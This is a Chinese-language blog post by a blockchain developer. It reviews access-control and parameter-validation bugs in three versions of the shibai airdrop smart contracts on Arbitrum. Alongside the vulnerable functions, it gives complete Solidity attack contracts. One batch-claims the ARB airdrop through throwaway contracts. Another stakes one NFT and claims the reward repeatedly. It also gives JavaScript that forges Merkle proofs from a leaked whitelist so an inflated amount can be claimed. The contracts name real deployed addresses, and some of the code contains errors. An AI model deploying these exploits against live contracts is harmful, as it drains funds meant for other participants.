# [半场闹剧]shibai空投合约中的bug总结

By [Jackson](https://paragraph.com/@jackson-11) · 2023-04-24

---

随着一部分人的暴富，一部分人的愤怒，shibai第一阶段空投暂时告一段落。

作为一名区块链开发者，一直没有撸过空投搞过漏洞，这是从业几年中第一次喝到汤，遂记录下这几天的研究。

0x01 ARB空投地址的疯狂
---------------

这本来是无成本撸空池子的版本，但在空投前的一个小时，不知道是团队没有全部完成项目还是确实发现了漏洞，最终取消了空投

合约地址：

0x911355f8fcb1b25b9d63f2520e5676c94008f82a

[https://arbiscan.io/address/0x911355f8fcb1b25b9d63f2520e5676c94008f82a#code](https://arbiscan.io/address/0x911355f8fcb1b25b9d63f2520e5676c94008f82a#code)

在这个合约中，claimTokensForARB函数内部并没有对领取空投的地址进行检查，任何一个地址都可以以“ARB空投地址的条件”领取空投

    function claimTokensForARB() public claimIsLive {
        require(ARBclaimCount <= maxAddressForARBclaim, "sorry, claim has ended");
        require(!hasClaimedTokens[msg.sender], "You have claimed your tokens");
    
        hasClaimedTokens[msg.sender] = true;
        ARBclaimCount += 1;
        totalTokensClaimed += claimPerArbWallet;
    
        require(testShibToken.transfer(msg.sender, claimPerArbWallet), "Transfer failed");
        emit HasClaimedTokens(msg.sender, claimPerArbWallet); 
    }
    

此时你可能会想到创建多个小号去领取空投，可那样的话等领完归集完币价就被砸去90%了，我们可以通过合约创建合约的方式，在一笔交易内领取N人份的空投。

我在测试网上部署了测试合约，成功实现了批量领取，领取完成后归集到一个地址。

![](https://storage.googleapis.com/papyrus_images/bca3aac704aeeea91154e76c7f671482176c5c37f8853dfd84d0640863e48a61.png)

攻击合约代码

    pragma solidity ^0.8.0;
    
    
    interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    }
    
    interface shibDis2 {
        function claimTokensForARB() external;
    }
    
    // 空投领取合约
    contract Runner {
    
        function cliam(address airdrop, address _shibai, address receiver) public {
            shibDis2 shibDis2Contract = shibDis2(airdrop);
            // 通过ARB空投的方式领取合约
            shibDis2Contract.claimTokensForARB();
            IERC20 shibai = IERC20(_shibai);
            // 查询领取到的余额
            uint256 balance = shibai.balanceOf(address(this));
            if (balance > 0) {
                // 归集余额
                shibai.transfer(receiver, balance);
            }
            // 销毁合约
            selfdestruct(payable(address(receiver)));
        }
    }
    
    
    contract Run {
        address immutable receiver  = address("归集地址");
        // 批量领取
        function beRich(uint256 count, address air, address shibai) public {
            Runner runner;
            for (uint256 i=0; i < count; i++) {
                runner = new Runner();
                runner.cliam(air, shibai, receiver);
            }
        }
    }
    

当时把批量领取的函数命名为“beRich”，很遗憾，最终没有rich。

如果不考虑滑点，还可以在Run合约内部调用神剑的swap接口，领取完成后立刻卖掉。

0x02 质押NFT
----------

在2.0版本中，项目放尝试抵押NFT让大家领空投，这样不会让NFT崩盘，似乎是个不错的方法，但真是这样吗？

合约地址：

0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4

[https://arbiscan.io/address/0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4#code](https://arbiscan.io/address/0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4#code)

在这个合约中，用户需要先调用depositNFT方法将NFT存入空投合约，然后调用claimTokenForNFT方法领取空投。

在depositNFT方法中，代码限制了同一个tokenID只能被存入一次，但最大的错误在下面isStaking\[msg.sender\] = true，也就是说，只要用户存入了一个NFT，就会把用户标记为已抵押状态。

    function depositNFT(uint256[] memory _tokenIds) public {
        uint256 depositTimestamp = block.timestamp;
        uint256 noOfNfts = _tokenIds.length;
        require(noOfNfts > 0, "balance of nfts must be greater than zero");
    
        for(uint256 i = 0; i < noOfNfts; i++) {
            uint256 tokenId = _tokenIds[i];
            require(nftContract.ownerOf(tokenId) == msg.sender, "You must own the nft");
            require(deposits[msg.sender][tokenId] == 0, "You have already deposited");
    
            nftContract.safeTransferFrom(msg.sender, address(this), tokenId);
            deposits[msg.sender][tokenId] = depositTimestamp;
        }
    
        isStaking[msg.sender] = true;
        emit HasStakedNFT(msg.sender, noOfNfts, depositTimestamp);
    }
    

在cliamTokenForNFT方法中，检查了用户是否抵押，但并没有对\_tokenIds参数进行检查，也就是说，我们可以传入长度大于10的数组，这样就可以领取到3.0最大倍数的空投奖励（ps：直到最后一个版本，项目方才把>10改成>=10，在之前，持有10个NFT的用户只能领取到0个空投）。

    function claimTokenForNFT(uint256[] memory _tokenIds) public claimIsLive {
        require(isStaking[msg.sender] == true, "You must stake your nft(s) before claiming");
        uint256 noOfNfts = _tokenIds.length;
        require(noOfNfts > 0, "balance of nfts must be greater than zero");
    
        uint256 amountOfTokensToClaim;
        if(noOfNfts<= 2) {
            amountOfTokensToClaim = (25 * claimPerNFT) / 100;
        } else if( noOfNfts > 2 && noOfNfts <= 4){
            amountOfTokensToClaim = (125 * claimPerNFT) / 100;
        } else if(noOfNfts > 4 && noOfNfts <= 9) {
            amountOfTokensToClaim = (250 * claimPerNFT) / 100;
        } else if(noOfNfts > 10) {
            amountOfTokensToClaim = (300 * claimPerNFT) / 100;
        }
    
        totalTokensClaimed += amountOfTokensToClaim;
        require(tokenContract.transfer(msg.sender, amountOfTokensToClaim), "Transfer failed");
        emit HasClaimedTokens(msg.sender, amountOfTokensToClaim);
    }
    

就领取一次？不，你可以领取无限次，在claimTokenForNFT方法中，同样没有对已领取的地址进行标记，导致用户可以无限次领取空投。

我们又部署了一个合约，只抵押了一个tokenID为11的NFT，就领取了50次空投。

![](https://storage.googleapis.com/papyrus_images/a64d5102c4d52988d13f8fbdaa1111232b5765d82556a296203c4873a867c834.png)

攻击合约代码

    pragma solidity ^0.8.0;
    
    interface IERC20 {
        function approve(address spender, uint256 amount) external returns (bool);
        function transfer(address recipient, uint256 amount) external returns (bool);
        function balanceOf(address account) external view returns (uint256);
    }
    
    interface IERC721 {
        function approve(address to, uint256 tokenId) external;
        function safeTransferFrom(
            address from,
            address to,
            uint256 tokenId,
            bytes calldata data
        ) external;
    }
    
    interface ShibDis {
        function depositNFT(uint256[] memory _tokenIds) external;
        function claimTokenForNFT(uint256[] memory _tokenIds) external;
    }
    
    
    contract Attack {
        // 接受空投地址
        address public dest = address(0x3924105EB1Da270909De27F6f10bCa85B0cbf7f2);
        // shibai NFT地址
        IERC721 public NFT = IERC721(address(0xD99984e1D6AcB5471681ba4E070F19a9c29B7844));
        // 空投合约地址
        ShibDis public dis = ShibDis(address(0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4));
        // shibai token地址
        IERC20 shibai = IERC20(address(0xFA296FcA3c7DBa4a92A42Ec0B5E2138DA3b29050));
        
    
        uint256[] depositNFTs;
        // 领取11份NFT的奖励
        uint256[] giftNFTs = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11];
    
        function doClaim(uint256 count, dis nftIndex) public  {
            if (shibai.balanceOf(address(ShibDis)) == 0) {
                return;
            }
            // 授权空投合约操作该合约的NFT
            NFT.approve(address(dis), nftIndex);
            depositNFTs.push(nftIndex);
            // 抵押NFT
            dis.depositNFT(depositNFTs);
            // 领取空投奖励N次
            for (uint256 i=0; i < count; i ++) {
                dis.claimTokenForNFT(giftNFTs);
            }
            // 将领取到的空投转到dest地址
            shibai.transfer(dest, shibai.balanceOf(address(this)));
        }
    
    }
    

这个版本最终也没有上线，可能项目方又发现了bug，或者前端实现比较困难

0x03 非常学术派，merkel证明，但百密一疏
-------------------------

合约地址：

0x3D3CcedDB8F450CE107822C5F98F5E83200EB308

[https://arbiscan.io/address/0x3d3cceddb8f450ce107822c5f98f5e83200eb308#code](https://arbiscan.io/address/0x3d3cceddb8f450ce107822c5f98f5e83200eb308#code)

在这个合约中，项目方使用了和uniswap空投时一样的merkel证明领取空投，而不使用和AICODE技术一样的后台签名，技术含量不错，也可能是为了不部署后端服务？

这个版本的代码杜绝了重复领取或非白名单领取，但还是犯了和0x02中相同的错误，没有对\_amout参数进行校验，导致只要在白名单中的用户无论持有几个NFT，都可以通过构建交易data的方式领取10份NFT的空投奖励。

    function claimTokensForNft(bytes32[] calldata proof, uint256 _amount) public claimIsLive {
        bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
        require(MerkleProof.verify(proof, merkleRootNFT, leaf), "Wallet not eligible to claim");
    
        require(_amount > 0, "You do not own any tokens");
        require(!hasClaimedNFT[msg.sender], "You have claimed your Tokens");
    
        uint256 amountOfTokensToClaim;
        if(_amount<= 2) {
            amountOfTokensToClaim = tier1Claim;
        } else if( _amount > 2 && _amount <= 4){
            amountOfTokensToClaim = tier2Claim;
        } else if(_amount > 4 && _amount <= 9) {
            amountOfTokensToClaim = tier3Claim;
        } else if(_amount >= 10) {
            amountOfTokensToClaim = tier4Claim;
        }
    
        totalTokensClaimed += amountOfTokensToClaim;
        hasClaimedNFT[msg.sender] = true;
    
        require(tokenContract.transfer(msg.sender, amountOfTokensToClaim), "Transfer failed");
        emit HasClaimedNFT(msg.sender, amountOfTokensToClaim);
    }
    

即使不能批量，那我们可以抢跑，更早领取就能更早卖出。

在项目网站[https://aishibaog.xyz中，有一个whitelist\_Address.js文件，这个文件记录了快照的白名单。](https://aishibaog.xyz%E4%B8%AD%EF%BC%8C%E6%9C%89%E4%B8%80%E4%B8%AAwhitelist_Address.js%E6%96%87%E4%BB%B6%EF%BC%8C%E8%BF%99%E4%B8%AA%E6%96%87%E4%BB%B6%E8%AE%B0%E5%BD%95%E4%BA%86%E5%BF%AB%E7%85%A7%E7%9A%84%E7%99%BD%E5%90%8D%E5%8D%95%E3%80%82)

![](https://storage.googleapis.com/papyrus_images/a1bca9a649a408da6f7174649f20797c8e9812ed6706505288b2366aa9a44ad7.png)

基于白名单地址，我们就可以构建出merkel根，再生成白名单地址的merkel proof，再自定义\_amount参数构建16进制数据，发起领取空投交易。

    const { WHITELIST_ADDRESS } = require("./whitelist_Address")
    const keccak256 = require("keccak256")
    const { MerkleTree } = require("merkletreejs")
    
    
    const addressLeaves = WHITELIST_ADDRESS.map(x => keccak256(x))
    const arbMerkleTree = new MerkleTree(addressLeaves, keccak256, {
        sortPairs : true
    })
    function getProof(_userAddress) {
      const _leaf = keccak256(_userAddress);
      return arbMerkleTree.getHexProof(_leaf);
    };
    

至于最终发布的时候网页上领不了空投，道听途说是没有做大小写判断，后面没有深入研究。

0x04 写在后面
---------

有格局：不知道项目方是不是真的大学生，阴差阳错搞起来的，虽然技术差了点，但还是磕磕绊绊履行了空投承诺，似乎后面还会补上空投？祝大家好运！

没格局：在空投前，项目方往空投白名单里加了30个左右自己的地址，翻看交易记录后这些地址只有两三笔交易，更别说持有过NFT了。

还有一个，有地址在开盘时抢筹了11ETH的币，并在当晚冲进了抹茶，不确定是否想

---

*Originally published on [Jackson](https://paragraph.com/@jackson-11/shibai-bug)*
